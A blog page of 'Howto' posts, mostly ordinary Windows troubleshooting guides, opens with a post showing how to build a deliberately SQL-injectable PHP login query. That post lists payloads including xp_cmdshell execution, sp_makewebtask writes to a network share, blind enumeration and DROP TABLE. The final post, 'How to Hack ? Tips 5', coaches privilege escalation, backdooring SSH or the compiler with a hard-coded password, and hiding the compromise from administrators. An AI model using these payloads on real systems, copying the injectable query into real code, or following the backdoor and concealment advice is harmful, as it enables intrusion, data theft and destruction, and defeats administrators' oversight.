Background

Background

Change your prefer background

  • image1
  • image2
  • image3
  • image4
  • image2
  • image1
  • image4
  • image3
Showing posts with label Howto. Show all posts
Showing posts with label Howto. Show all posts

How to create a SQL Injection Test Site


Just run the simplest unprotected query:
$query = "SELECT * FROM users WHERE username = ".stripslashes($_POST['username'])." AND password = ".stripslashes($_POST['password'])
and enjoy! The stripslashes() part is there in case you haven't magic_quotes already disabled (as it should be), to avoid some automatic escaping; otherwise you'll have purest injectable input, just pick up any sql injection you might find on the internet and see. Some example:
' or 1=1--
' or 1--
' or 1
\" or '1'
' or 1=1--
' OR ''='
' or 'a'='a
') or ('a'='a
'; exec master..xp_cmdshell 'ping 10.10.1.2'--
'; EXEC master..sp_makewebtask \"\\10.10.1.3\share\output.html\", \"SELECT * FROM INFORMATION_SCHEMA.TABLES\"",
10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
' OR EXISTS(SELECT * FROM users WHERE name='jake' AND password LIKE '%w%') AND ''='
' OR EXISTS(SELECT 1 FROM dual WHERE database() LIKE '%j%') AND ''='
' OR EXISTS(SELECT * FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='test' AND TABLE_NAME='one') AND ''='
' OR (SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA LIKE '%j%')>1 AND ''='
' OR EXISTS(SELECT * FROM users WHERE name LIKE '%r%') AND ''='
1;DROP TABLE `users`
Read More 0 comments

Windows restarts without warning

Tip: This document is for computers that are restarting or rebooting by themselves and not computer's that turn off and remain off.

Software issue or error

With the introduction of Windows XP Microsoft designed Windows to automatically reboot each time an error occurs such as a BSoD. Although this may be nice for errors that do not occur often, users who have a re-occurring error may wish to identify the error to troubleshoot it. Below are the steps on how this feature can be disabled and enabled in Windows XP, Vista, 7, and 8.
  1. From the Desktop right-click on My Computer.
  2. Click the Properties option.
  3. In the System Properties window click the Advanced tab or the Advanced system settings link.
  4. In Advanced click the Settings button under Startup and Recovery.
  5. In the Startup and Recovery window uncheck the Automatically restart check box.
  6. Click Ok.
Now if the computer generates an error it should not automatically restart and should display an error message, most likely a BSoD.

Hardware issue or error

Caution: Some of the below steps require you open your computer. While in the computer, be cautious of ESD.
Any failing hardware component in your computer could cause your computer to unexpectedly generate an error or reboot without warning. If you have recently attempted to add a new hardware device, remove that device to make sure it is not causing your issues.
Make sure you are not encountering any hardware conflicts by viewing Device Manager for errors.
New drivers can also cause this issue, if you have recently performed any hardware driver updates you may wish to try an earlier version of the drivers. Additional information and help with computer drivers can be found on our drivers page.
If you have updated drivers and removed any hardware that could be causing this issue and continue to experience random reboots, it's possible that the memory is bad in the computer.
Finally, hardware devices that are not installed properly in the computer can also cause random reboots. Make sure all the cables and expansion cards are connected properly to the computer. The best way to determine this is to disconnect and reconnect all cables and expansion cards.

Computer virus

Computer viruses such as the blaster virus are written to reboot your computer without warning. Usually these viruses will make the computer reboot ever 5, 10, 15 or 30 minutes after the computer has booted.
If you believe your computer may be infected with a virus or are uncertain if your computer is infected with a virus make sure your virus scanner definitions are up to date.

Heat related issue

Many computer today are designed to turn off or automatically reboot if the computer, processor, or other device in your computer gets to hot. If you have heard any abnormal noises coming from your computer recently such as a high squealing this could indicate a fan may be failing in your computer.
First, verify the fan on the power supply is working by examining the back of the computer and seeing if the fan is moving and moving smoothly. For all other fans in the computer you will need to either open the computer and verify all fans are working, e.g. processor fan and case fan.
Tip: If your BIOS monitors the RPM of the fans enter CMOS Setup and verify it does not report any errors.

Issue with operating system

If after following each of the above recommendations your computer still continues to reboot it is likely that you are experiencing a Microsoft Windows operating system related issue that cannot be explained. To help make sure this is the case try the below steps.
  1. Reboot the computer and enter CMOS setup as the computer is booting.
  2. After you have loaded the computer in CMOS setup let the computer sit.
If the computer does not reboot while letting the computer sit in CMOS it is likely that you are in fact experiencing an issue with Microsoft Windows and it is recommend that if you have followed all of the above recommendations that you reinstall Microsoft Windows.
Read More 0 comments

Windows runtime errors


Before following the below recommendations for troubleshooting your runtime error if you're getting a runtime error with a runtime error code and error message such as "Runtime error 75 path/file access error", skip to the below runtime error listing for a listing of runtime error codes and additional information and causes for these errors.

Confliction with TSR or other running program

If you are encountering a runtime error message while in Windows or above ensure that the issue is not being caused by a third-party program or TSR by end tasking all open programs.
If, after end tasking all TSRs, you continue to experience the same issue and are running Windows 95 or Windows 98, verify that no utility or program is being loaded in the autoexec.bat and config.sys that is causing your issue by temporally renaming the files. To do this, follow the below instructions.
  1. Boot to a MS-DOS prompt.
  2. Once at the MS-DOS prompt, type:

    cd\ <press enter>
    ren autoexec.bat autoexec.ch <press enter>
    ren config.sys config.ch <press enter>

    Once completed, reboot the computer.

Software issue

If your issue persists it is possible that the program, utility or game causing the runtime error may have issues. Verify through the developer's web site that all updates or patches that may be available have been downloaded and applied.
If no patches or updates are available, uninstall and reinstall the program that is causing the issue. If you are having a runtime error in your operating system, reinstall the operating system.

Add-on, plug-in, or other extra software

Many runtime errors are also caused by other add-ons, plug-ins, or other extra software that has been installed onto the computer and is associated with the program generating the error. If you have any extra software installed that is associated with the program generating the error make sure there are no available updates for the programs and try uninstalling each of them to verify they're not the cause of your issue.

Computer virus

Because computer viruses are capable of tampering with the system settings or memory it is possible for a computer virus to generate a runtime error. If you are currently running a virus protection program on your computer ensure it has the latest updated patch or .dat file.
If you do not have a computer virus protection program it is recommended one be purchased or that a demo be temporarily downloaded to scan your computer hard drive for viruses.

Memory issue

Finally, if you have followed all of the above recommendations, it is possible that you may be encountering a hardware or memory related issue. We recommend that you first contact the developer of the program causing the issue for any possible solutions. If no solutions are found, we recommend you contact the computer or motherboard manufacturer for additional recommendations or service.

Runtime error listings

Below is a listing of Microsoft Windows and Windows software runtime error codes and related Runtime error messages. If you're encountering one of the below runtime error codes and have a matching runtime error message see the associated additional information column for causes and information about that runtime. If the additional information does not help resolve your issue try the recommendations under the abovesolution section.
CodeRuntime errorAdditional information
5Illegal function callProgram error, verify the program has all the latest updates. If updated try reinstalling the program. If you continue to have the same errors contact the software developer.
6OverflowProgram error, verify the program has all the latest updates. If updated try reinstalling the program. If you continue to have the same errors contact the software developer.
7Out of memoryThis issue can be caused when the computer does not meet the programs system requirements or to much memory is already being used for the program to run. If your computer meets the requirements try first reinstalling the program to make sure it's not an issues with the program installation. If this does not resolve your issue see out of memory troubleshooting steps.
9Subscript out of rangeProgram error, verify the program has all the latest updates. If updated try reinstalling the program. If you continue to have the same errors contact the software developer.
10Duplicate definitionProgram error, verify the program has all the latest updates. If updated try reinstalling the program. If you continue to have the same errors contact the software developer.
11Division by zeroProblem with a math formula in the program or the programs code. Verify no software updates are available for the program causing this error.
13Type MismatchMake sure your system regional settings are setup correctly and that the program you're running is made for your version of Windows.
14Out of string spaceProgram error, verify the program has all the latest updates. If updated try reinstalling the program. If you continue to have the same errors contact the software developer.
19No ResumeProgram error, verify the program has all the latest updates. If updated try reinstalling the program. If you continue to have the same errors contact the software developer.
20Resume without errorProgram error, verify the program has all the latest updates. If updated try reinstalling the program. If you continue to have the same errors contact the software developer.
28Out of stack spaceThis issue can be caused by a program or memory error. First try going through the out of memory troubleshooting steps.
35Sub or Function not definedProgram error, verify the program has all the latest updates. If updated try reinstalling the program. If you continue to have the same errors contact the software developer.
48Error in loading DLLThis issue is often caused with a bad installation or an issue caused after another program has been installed that replaced the programs DLL. Close all programs and TSRs and try installing the program again.
52Bad file name or numberProgram error, verify the program has all the latest updates. If updated try reinstalling the program. If you continue to have the same errors contact the software developer.
53File not foundFile required by the program to run is not found. Program needs to be reinstalled or missing file(s) need to be copied back to the computer.
54Bad file modeProgram error, verify the program has all the latest updates. If updated try reinstalling the program. If you continue to have the same errors contact the software developer.
55File already openProgram or file associated with program is being used and program does not have access to use it. Try closing all open and background programs and run program again.
58File already existsProgram error, verify the program has all the latest updates. If updated try reinstalling the program. If you continue to have the same errors contact the software developer.
61Disk fullThe disk, for example, the hard drive does not have enough space for the program to run or for associated files to be copied to. Free up disk space on the computer hard drive.
62Input past end of fileProgram error, verify the program has all the latest updates. If updated try reinstalling the program. If you continue to have the same errors contact the software developer.
63Bad record numberProgram error, verify the program has all the latest updates. If updated try reinstalling the program. If you continue to have the same errors contact the software developer.
64Bad file nameProgram error, verify the program has all the latest updates. If updated try reinstalling the program. If you continue to have the same errors contact the software developer.
68Device unavailableA hardware device or necessary requirement for the program is not being found. Verify all hardware and software required by the program is installed. If you continue to have the same issues verify the latest updates are installed for the program as well as any hardware device the program needs.
70Permission deniedThe location of where the program is being copied to does not have proper rights. Or a file that is trying to be copied over because it's currently being used. Try closing all programs and TSRs and running/installing the program again.
71Disk not readyVerify you have proper rights to the location you are attempting to install the program to.
74Can't rename with different driveProgram error, verify the program has all the latest updates. If updated try reinstalling the program. If you continue to have the same errors contact the software developer.
75Path/File access errorProgram does not have rights or access to a file. Often this is caused when a program is trying to access a network file it doesn't have proper access to either because of network privileges or something is blocking the program. This issue can also be caused when the file is being used by another program or is read-only.
76Path not foundDirectory of where the program needs to be copied to or files associated with the program need to be copied to is missing. Try reinstalling the program.
91Object variable set to NothingProgram error, verify the program has all the latest updates. If updated try reinstalling the program. If you continue to have the same errors contact the software developer.
93Invalid patternProgram error, verify the program has all the latest updates. If updated try reinstalling the program. If you continue to have the same errors contact the software developer.
94Illegal use of NULLProgram error, verify the program has all the latest updates. If updated try reinstalling the program. If you continue to have the same errors contact the software developer.
102Command failedProgram error, verify the program has all the latest updates. If updated try reinstalling the program. If you continue to have the same errors contact the software developer.
339A file is missing or invalidAn associated program file is missing or corrupt. Try reinstalling the program.
429Object creation failedProgram is corrupted, try reinstalling the program generating the runtime error.
438No such property or methodProgram error, verify the program has all the latest updates. If updated try reinstalling the program. If you continue to have the same errors contact the software developer.
439Argument type mismatchProgram error, verify the program has all the latest updates. If updated try reinstalling the program. If you continue to have the same errors contact the software developer.
440Object errorProgram error, verify the program has all the latest updates. If updated try reinstalling the program. If you continue to have the same errors contact the software developer.
901Input buffer would be larger than 64KProgram error, verify the program has all the latest updates. If updated try reinstalling the program. If you continue to have the same errors contact the software developer.
902Operating system errorVerify the program is compatible with your version of Windows and has any software updates.
903External procedure not foundProgram error, verify the program has all the latest updates. If updated try reinstalling the program. If you continue to have the same errors contact the software developer.
904Global variable type mismatchProgram error, verify the program has all the latest updates. If updated try reinstalling the program. If you continue to have the same errors contact the software developer.
905User-defined type mismatchA setting either in the program shortcut or being defined by the user is correct. Try running just the program without any additional settings or variables.
906External procedure interface mismatchProgram error, verify the program has all the latest updates. If updated try reinstalling the program. If you continue to have the same errors contact the software developer.
1001Out of memoryThis issue can be caused when the computer does not meet the programs system requirements or to much memory is already being used for the program to run.
If your computer meets the requirements try first reinstalling the program to make sure it's not an issue with the program installation. If this does not resolve your issue run through the out of memory troubleshooting steps.
1025DLL is not supportedThis issue is often caused with a bad installation or an issue caused after another program has been installed that replaced the programs DLL. Close all programs and TSRs and try installing the program again.
6025Microsoft Windows r6025 runtime error.
Read More 0 comments

Fixes for BOOTMGR Errors

  1. Restart the PC. The BOOTMGR error could be a fluke.
  2. Check your optical drives, USB ports, and floppy drives for media. Often times, the "BOOTMGR is Missing" error will appear if your PC is trying to boot to a non-bootable disc, external drive, or floppy disk.

    Note: If you find that this is the cause of your issue and it's happening regularly, you might want to consider changing the boot order in BIOS so the hard drive is listed as the first boot device.
  3. Check the boot sequence in BIOS and make sure the correct hard drive or other bootable device is listed first, assuming you have more than one drive. If the wrong drive is listed first, you could see BOOTMGR errors.

    I know I sort of hit on this in the troubleshooting step above, but I wanted to call out specifically that you might have the wrong hard drive listed, as many BIOS/UEFI systems allow you to specify specific a particular hard drive to be booted from first.
  4. Reseat all internal data and power cables. BOOTMGR error messages could be caused by unplugged, loose, or malfunctioning power or controller cables.

    Try replacing the PATA or SATA cable if you suspect it might be faulty.
  5. Perform a Startup Repair of Windows. This type of installation should replace any missing or corrupt files, including BOOTMGR.

    Even though a Startup Repair is a common solution for BOOTMGR problems, don't worry if it doesn't fix your problem. Just continue troubleshooting - something will work.
  6. Write a new partition boot sector to the Windows system partition to correct any possible corruption, configuration problem, or other damage.

    The partition boot sector is an important piece in the boot process so if there's any issue with it, you'll see problems like "BOOTMGR is Missing" errors.
  7. Rebuild the Boot Configuration Data (BCD). Similar to the partition boot sector, a corrupted or incorrectly configured BCD could cause BOOTMGR error messages.

    Important: The following troubleshooting steps are much less likely to help fix your BOOTMGR problem. If you've skipped any of the above ideas then you may have overlooked a very likely solution to this problem!
  8. Check the hard drive and other drive settings in BIOS and ensure they are correct. The BIOS configuration tells the computer how to use a drive so incorrect settings can cause problems, including BOOTMGR errors.

    Note: There's usually an Auto setting in BIOS for hard disk and optical drive configurations which is usually a safe bet if you're not sure what to do.
  9. Update your motherboard's BIOS. An outdated BIOS version can sometimes cause the "BOOTMGR is Missing" error.
  10. Perform a clean installation of Windows. This type of installation will completely remove Windows from your PC and install it again from scratch. While this will almost certainly resolve any BOOTMGR errors, it's a time consuming process due to the fact that all of your data must be backed up and then later restored.

    If you can't gain access to your files to back them up, please understand that you will lose them all if you continue with a clean installation of Windows!
  11. Replace the hard drive and then install a new copy of Windows. If all else has failed, including the clean installation from the last step, you're most likely facing a hardware issue with your hard drive.
Read More 0 comments

How To Fix Ntdll.dll Errors

  1. Restart your computer. The ntdll.dll error you're receiving could be due to a one-time, temporary issue and a simple reboot may resolve the problem completely.
  2. Reinstall the program if the ntdll.dll error only displays when you use a specific program.

    If the software program has any updates or service packs available, install them too. The software's programmers may have identified an issue with the program that caused the ntdll.dll error and then issued a patch for it.

    Note: Third party software programs that have been installed on your computer are almost always the cause of ntdll.dll errors. The remainder of these troubleshooting steps resolve ntdll.dll issues only rarely.
  3. Check the Windows service pack level you're running and then check Microsoft's support site to see if there is a more recent service pack available for installation. Some issues that caused ntdll.dll errors have been corrected in these service packs from Microsoft.
  4. Selectively disable Internet Explorer add-ons. If your ntdll.dll error is displaying when you start, run, or close Internet Explorer, an add-on may be causing the problem. Disabling each add-on, one by one, will determine which add-on is the culprit (if any).

    Note: As a workaround, assuming the ntdll.dll error really is Internet Explorer related, install and use a competing browser like Firefox.
  5. Rename the NLSPATH system variable. If your Windows system does not have this environment variable, skip this step.

    Note: This is a troubleshooting step for this issue only. Be sure to set this path back to its original name if this does not resolve the ntdll.dll issue.
  6. Disable Data Execution Prevention for Explorer.exe. As in the previous step, this is for troubleshooting the ntdll.dll issue only. If this doesn't resolve the problem, return the Data Execution Prevention settings to their previous settings.
  7. Update drivers for any hardware in your computer where updated drivers are available. Outdated drivers sometimes cause ntdll.dll errors.
  8. Test your memory for damage. If you're receiving ntdll.dll messages, one possible cause could be a bad memory module in your system. Testing your memory will either identify a problem or clear your RAM of any responsibility.

    Replace your memory if it fails any of your tests.
  9. Ntdll.dll errors could occur if you have an Iomega Zip drive on the same IDE cable as the hard drive inside your computer. If so, move the Zip drive to a dedicated IDE controller.
  10. Replace the IDE cable connecting the hard drive to the motherboard. If this cable is damaged or malfunctioning, one symptom could be the ntdll.dll error you're seeing.
  11. Repair your installation of Windows. If individual software reinstallations fail to resolve the problem, a repair installation of Windows will replace the ntdll.dll file.
  12. Perform a clean installation of Windows. A clean installation will completely remove Windows from your PC and install it again from scratch. I don't recommend this option unless you've exhausted all previous troubleshooting ideas and you're comfortable that the ntdll.dll error is not caused by a single program (Step #2).

    Note: If a single program or plugin is causing the ntdll.dll error, reinstalling Windows and then reinstalling all of the same software may lead you right back to the same ntdll.dll error.
  13. While extremely rare, if everything else has failed, including the clean installation from the last step, you could be dealing with a hardware issue with your hard drive.

    If so, replace the hard drive and then perform a new installation of Windows.
Read More 0 comments

How To Fix STOP 0x0000007B Errors Blue Screen of Death

  1. Restart your computer if you haven't already done so. The STOP 0x0000007B blue screen error might be a fluke.
  2. Did you just install or make a change to a hard drive controller? If so, there's a good chance that the change you made caused the STOP 0x0000007B error.

    Undo the change and test for the 0x7B blue screen error.

    Depending on what changes you made, some solutions might include:

    • Remove or reconfigure the newly installed hard drive controller.
    • Startup with Last Known Good Configuration to undo related registry and driver changes.
    • Use System Restore to undo recent changes.
    • Rollback hard drive controller device driver to version prior to your driver update.
  3. Verify that the SCSI chain is correctly terminated, assuming you're using SCSI hard drives in your computer. Incorrect SCSI termination has been known to cause STOP 0x0000007B errors.

    Note: Most home computers don't utilize SCSI hard drives.
  4. Verify that the hard drive is properly installed. An improperly installed hard drive could cause STOP 0x0000007B errors and other issues.
  5. Verify that the hard drive is configured properly in BIOS. The STOP 0x0000007B error could occur if the hard drive settings in BIOS are incorrect.
  6. Scan your computer for viruses. Certain viruses that infect the master boot record (MBR) or boot sector can cause STOP 0x0000007B errors.

    Important: Make sure your virus scanning software is updated and configured to scan the MBR and boot sector.
  7. Update the drivers for your hard drive controller. If the drivers to your hard drive controller are outdated, incorrect, or corrupted then the STOP 0x0000007B error will likely occur.

    Note: If the STOP 0x0000007B error occurs during the Windows setup process and you suspect that the reason is driver related, be sure to install the latest hard drive controller driver from the manufacturer for use during the installation of the operating system.

    Note: This is a likely solution if the second hexadecimal number after the STOP code is 0xC0000034.
  8. Change the SATA mode in BIOS to IDE mode. Disabling some of the advanced features of SATA drives in BIOS could stop the STOP 0x0000007B error from showing up, especially if you're seeing it in Windows XP or during a Windows XP installation.

    Note: Depending on your BIOS make and version, SATA mode may be referred to as AHCI mode and IDE mode may be referred to as either Legacy, ATA, or Compatibility Mode.

    Note: While not a common solution, you may also want to try the reverse - see if IDE mode is selected in BIOS and if so change it to AHCI, especially if you see the STOP 0x0000007B error in Windows 8, Windows 7, or Windows Vista.
  9. Run chkdsk on your hard drive. If the boot volume is corrupted, the chkdsk command might repair the corruption.

    Important: You'll likely have to run chkdsk from the Recovery Console.

    Note: This will likely be the solution if the second hexadecimal number after the STOP code is 0xC0000032.
  10. Perform an extensive test of your hard drive. If your hard drive has a physical problem, one very likely situation is the STOP 0x0000007B error you're seeing.

    Replace the hard drive if the diagnostics you complete suggest that there is a hardware problem with the drive.
  11. Run the fixmbr command to create a new master boot record. A corrupted master boot record might be causing your STOP 0x0000007B error.

    Note: This will likely be the solution if the second hexadecimal number after the STOP code is 0xC000000E.
  12. Clear the CMOS. Sometimes the STOP 0x0000007B error is caused by a BIOS memory issue. Clearing the CMOS could solve that problem.
  13. Update your BIOS. In some situations, an outdated BIOS could cause a STOP 0x0000007B error due to incompatibilities with a hard drive controller.
  14. Update the hard drive controller's firmware if possible. Just as with the BIOS in the previous step, an incompatibility could be causing the 0x7B error and a firmware update from the manufacturer may correct the problem.
  15. Repair your Windows installation. If you've just replaced the motherboard in a computer without reinstalling Windows then this will likely fix your problem.

    Note: Sometimes a Windows repair will not fix a STOP 0x0000007B error. In those cases, a clean installation of Windows should do the trick.

    If you haven't just replaced your motherboard, a Windows reinstall probably will not fix your STOP 0x7B issue.
  16. Perform basic STOP error troubleshooting. If none of the specific steps above help fix the STOP 0x0000007B error you're seeing, take a look at this general STOP error troubleshooting guide. Since most STOP errors are similarly caused, some of the suggestions might help.
Read More 0 comments

How to Fix NTLDR is missing Errors Press Ctrl+Alt+Del to restart

  1. Restart the PC. The NTLDR error could be a fluke.
     
  2. Check your floppy and optical (CD/DVD/BD) drives for media and disconnect any external drives. Often times, the "NTLDR is Missing" error will appear if your PC is trying to boot to a non-bootable floppy disk, CD/DVD/BD, or external hard drive or flash drive.

    Note: If you find that this is the cause of your problem and it's happening a lot, you might want to consider changing the boot order in BIOS so the hard drive with Windows installed is listed first.
     
  3. Check the hard drive and other drive settings in BIOS and ensure they are correct. The BIOS configuration tells the computer how to use a drive so incorrect settings can cause problems, including NTLDR errors.

    Note: There is usually an Auto setting for hard drive and optical drive configurations in BIOS which is usually a safe bet if you're not sure what to do.
     
  4. Restore the NTLDR and ntdetect.com files from the Windows XP CD. Restoring these two important system files from the original Windows XP CD may do the trick.
     
  5. Repair or replace the boot.ini file. This will prevent the NTLDR error if the cause of the problem is a boot.ini file that is not configured properly for your Windows XP installation.
     
  6. Write a new partition boot sector to the Windows XP system partition. If the partition boot sector has become corrupt or isn't properly configured, you may receive the "NTLDR is Missing" error.
     
  7. Repair the Windows XP master boot record. NTLDR error messages may also appear if the master boot record is corrupt.
     
  8. Reseat all internal data and power cables. NTLDR error messages could be caused by loose or malfunctioning IDE cables.

    Try replacing the IDE cable cable if you suspect it might be faulty.
     
  9. Update your motherboard's BIOS. Occasionally, an outdated BIOS version can cause the "NTLDR is Missing" error.
     
  10. Perform a repair installation of Windows XP. This type of installation should replace any missing or corrupt files. Continue troubleshooting if this does not resolve the issue.
     
  11. Perform a clean installation of Windows XP. This type of installation will completely remove Windows XP from your PC and install it again from scratch. While this will almost certainly resolve any NTLDR errors, it is a time consuming process due to the fact that all of your data must be backed up and then later restored.

    If you can't gain access to your files to back them up, understand that you will lose them all if you continue with a clean installation of Windows XP.
     
  12. Replace the hard drive and then perform a new installation of Windows XP. If all else has failed, including the clean installation from the last step, you're most likely facing a hardware issue with your hard drive.
Read More 0 comments

How To Fix the 404 Not Found Error


  1. Retry the web page by pressing F5, clicking the refresh/reload button, or trying the URL from the address bar again.

    The 404 Not Found error might appear for several reasons even though no real issue exists, so sometimes a simple refresh will often load the page you were looking for.
  2. Check for errors in the URL. Often times the 404 Not Found error appears because the URL was typed wrong or the link that was clicked on points to the wrong URL.
  3. Move up one directory level at a time in the URL until you find something.

    For example, if www.web.com/a/b/c.htm gave you the 404 Not Found error, move up to www.web.com/a/b/. If you get nothing here (or an error), move up to www.web.com/a/. This should lead you toward what you're looking for or at least confirm that it's no longer available.

    Tip: If you have moved all the way up to the website's homepage, try to run a search for the information you're looking for. If the site doesn't have a search function, try navigating to the page you want using category links to dig deeper into the site.
  4. Search for the page at a popular search engine. It's possible that you simply have the entirely wrong URL in which case a quick Google or Bing search should get you where you want to go.

    If you do find the page you were after, update your bookmark or favorite to avoid the HTTP 404 error in the future.
  5. Clear your browser's cache if you have any indication that the 404 Not Found message might just be yours. For example, if you can reach the URL from your phone but not from your tablet, clearing the cache on your tablet's browser might help.

    You might also consider clearing your browser's cookies, or at least the one(s) involved with the website in question, if clearing the cache didn't work.
  6. Change the DNS servers used by your computer but usually only if an entire website is giving you a 404 error, especially if the website is available to those on other networks (e.g. your mobile phone network or a friend in another city).

    404's on an entire website isn't particularly common unless your ISP or government filters/censors websites. No matter the reason, if it does happen, giving another set of DNS servers a try is a good step to take. See my Public DNS Servers List for some alternatives.
  7. Finally, if all else fails, contact the website directly. If they've removed the page you're after then the 404 error is completely legitimate and they should be able to tell you that. If they've moved the page, and are generating 404's instead of redirecting visitors to the new page, they might be very happy to hear from you.
Read More 0 comments

How to Hack ? Tips 5


Use various tricks. 

Often, to gain super-user status you have to use tactics such as creating a buffer overflow, which causes the memory to dump and that allows you to inject a code or perform a task at a higher level than you're normally authorized.
  • In unix-like systems this will happen if the bugged software has setuid bit set, so the program will be executed as a different user (super-user for example).
  • Only by writing or finding an insecure program that you can execute on their machine will allow you to do this.

 Create a backdoor. 

Once you have gained full control over a machine, it's a good idea to make sure you can come back again. This can be done by backdooring an important system service, such as the SSH server. However, your backdoor may be removed during the next system upgrade. A really experienced hacker would backdoor the compiler itself, so every compiled software would be a potential way to come back.

Don't forget!

Cover your tracks. 

Don't let the administrator know that the system is compromised. Don't change the website (if any), and don't create more files than you really need. Do not create any additional users. Act as quickly as possible. If you patched a server like SSHD, make sure it has your secret password hard-coded. If someone tries to log-in with this password, the server should let them in, but shouldn't contain any crucial information.
Read More 0 comments